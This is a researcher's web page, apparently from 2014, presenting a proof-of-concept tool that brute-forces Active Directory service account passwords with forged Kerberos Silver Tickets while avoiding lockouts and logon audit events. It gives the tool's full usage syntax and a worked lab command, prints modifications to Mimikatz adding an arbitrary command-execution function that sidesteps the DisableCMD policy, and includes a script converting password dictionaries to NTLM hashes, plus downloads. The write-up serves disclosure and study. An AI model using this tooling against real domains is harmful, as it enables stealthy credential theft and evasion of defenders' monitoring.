Home > Projects > Mimikatz 2.0 - Brute-Forcing Service Account Passwords
Mimikatz 2.0 - Brute-Forcing Service Account Passwords
While I was experimenting with the implications of the functionality discussed in the other two Mimikatz 2.0 articles, I made a discovery I thought was interesting.
Mimikatz author Benjamin Delpy wrote to me to mention Kerberoast, which operates on similar principles, but is much more efficient. Kerberoast requests a valid TGS from the KDC, which is likely to generate certain types of event log entry. The POC tool described below does not, but does send many invalid tickets to the target web service. This activity should not be logged by default, but would appear more suspicious if it were logged. I would suggest using Kerberoast unless you have a good reason not to.
Additionally, he let me know that Mimikatz actually includes built-in functionality for launching OS commands — it just wasn't well-documented at the time. For example, to cause it to launch Notepad against the Windows® HOSTS file, the command would be process::start "notepad.exe c:\windows\system32\drivers\etc\hosts" (assuming the file is in that location, of course).
Table of contents
"Kerberized" Service Account Password Brute-Force
A Silver Ticket for a web application accessed via a DNS entry with an SPN can be created using the NTLM hash of the password for the service account associated with that SPN (as discussed in Mimikatz 2.0 - Silver Ticket Walkthrough).
If everything about that ticket-generation operation is valid except for the NTLM hash, then accessing the web application will result in a failure. However, this will not cause a failed logon to appear in the Windows® event log. It will also not increment the count of failed logon attempts for the service account.
Therefore, the result is an ability to perform brute-force (or, more realistically, dictionary-based) password checks for such a service account, without locking it out or generating suspicious event log entries.
I thought this was pretty neat, and wanted to see if it could be automated. What I present here is a proof-of-concept/prototype — it can only be used to check about one password per second, but it does work as advertised.
All of the necessary components are in the download package at the bottom of this page. The source code for all components is also available if anyone is interested.
To use this proof-of-concept utility, you'll need everything you would to create a Silver Ticket (see Mimikatz 2.0 - Silver Ticket Walkthrough) — except for the hash/keys of course — as well as the following:
Warning
This is a proof-of-concept, not a production-ready attack tool. For example, all of the paths used must be free of spaces in their names. This is because I was not able to figure out how to properly escape double-quotes through 3+ layers of command-line indirection. Use at your own risk!
Once you have the prerequisites from the first section, you can call the appropriate (for your .NET version) SPNWebBruteForce.exe using the following syntax:
SPNWebBruteForce.exe -m [path to mimikatz.exe] -k [path to KWPD.exe] -i [path to list of NTLM hashes to test] -url [target URL] -d [test domain name] -s [domain SID] -t [target SPN name] (-a [test account name]) (-ur [user RID for the target account]) (-gr [list of comma-delimited group RIDs for the target account]) (-top [text on page indicating a positive result]) (-ua [user-agent string])
In my test lab, I used the following command:
"C:\Mimikatz\SPNWebBruteForce\NET35\SPNWebBruteForce.exe" -m "C:\Mimikatz\HackedMimikatz\x64\mimikatz.exe" -k "C:\Mimikatz\SPNWebBruteForce\NET35\KWPD.exe" -i "C:\Mimikatz\SPNWebBruteForce\Test_Hashes.txt" -url "http://udwebapp1/adduser.aspx" -d "vln2012.local" -s "S-1-5-21-3871786346-2057636518-1625323419" -t "udwebapp1.vln2012.local" -a "admin2" -ur "1002" -gr "512,513" -top "admin2"
The Test_Hashes.txt file contained 301 NTLM hashes. The first 300 were the NTLM hashes for the first 300 rows in the famous rockyou.txt password list. The final hash was the correct hash for the service account being targeted.
The limitations of this proof-of-concept are mostly due to my poor C programming skills. Operating in the context of a Mimikatz-modified session requires that Mimikatz have launched the process in question. I am not aware of a way to do this in the stock version, so I modified it to include an additional function (misc::exec) which can be used to launch an arbitrary command. It doesn't wait for that process to exit (that would be far beyond my C abilities), so a rudimentary form of inter-process communication is used:
All of this could take place within Mimikatz itself, or someone with better C skills could modify my misc::exec function to wait until the called process has completed before returning, or someone could write their own tool from scratch to do just this one thing. I only wanted to prove it was possible, not spend days or weeks building a production-quality attack tool :).
If you don't trust me to have left everything else untouched, or are curious for other reasons, you can reproduce my changes using the following steps. See after the steps for the detailed code blocks.
In the following blocks of code, black text indicates existing Mimikatz code, and green text indicates the additional code required for the modifications. I have only included a few lines of surrounding existing code for context, not the entire code for each file.
mimikatz/modules/kuhl_m_misc.h:
#include "../modules/kull_m_remotelib.h"
const KUHL_M kuhl_m_misc;
NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_exec(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[]);
mimikatz/modules/kuhl_m_misc.c (1/2):
#include "kuhl_m_misc.h"
const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_cmd, L"cmd", L"Command Prompt (without DisableCMD)"},
{kuhl_m_misc_exec, L"exec", L"Execute command "},
{kuhl_m_misc_regedit, L"regedit", L"Registry Editor (without DisableRegistryTools)"},
{kuhl_m_misc_taskmgr, L"taskmgr", L"Task Manager (without DisableTaskMgr)"},
mimikatz/modules/kuhl_m_misc.c (2/2):
NTSTATUS kuhl_m_misc_cmd(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"cmd.exe", L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_exec(int argc, wchar_t * argv[])
{
PCWCHAR szCommand = NULL;
kull_m_string_args_byName(argc, argv, L"command", &szCommand, NULL);
kprintf(L"Command to execute : %s", szCommand);
kuhl_m_misc_generic_nogpo_patch(szCommand, L"DisableCMD", sizeof(L"DisableCMD"), L"KiwiAndCMD", sizeof(L"KiwiAndCMD"));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[])
{
kuhl_m_misc_generic_nogpo_patch(L"regedit.exe", L"DisableRegistryTools", sizeof(L"DisableRegistryTools"), L"KiwiAndRegistryTools", sizeof(L"KiwiAndRegistryTools"));
return STATUS_SUCCESS;
}
Download | ||||
File | Size | Version | Release Date | Author |
Silver Ticket Brute Force (Proof-of-Concept) | 328 KiB | 1.0 | 2014-11-09 | Ben Lincoln and Benjamin Delpy |
Download | ||||
File | Size | Version | Release Date | Author |
Silver Ticket Brute Force (Proof-of-Concept) (Source Code) | 9 MiB | 1.0 | 2014-11-09 | Ben Lincoln and Benjamin Delpy |
This is the source code for the tools used in the proof-of-concept. Unless you want to build your own customized version of the tools, you probably don't need it. |
1. |
If you don't already have the Perl Digest::MD4 CPAN module installed, you'll need to issue two commands first:
cpan App::cpanminus cpanm Digest::MD4 Once that module is installed, assuming your dictionary is in /home/someuser/passwords.txt, you can convert it into a list of NTLM hashes using the following messy command: for INPASSWORD in `cat /home/someuser/passwords.txt`; do echo $INPASSWORD | perl -ne 'use Encode;use Digest::MD4 qw(md4_hex);chomp;printf("%s\n", md4_hex(encode("UTF-16LE", $_)));'; done [ Based on How to produce test hashes for various formats, the OpenWall Community Wiki ] |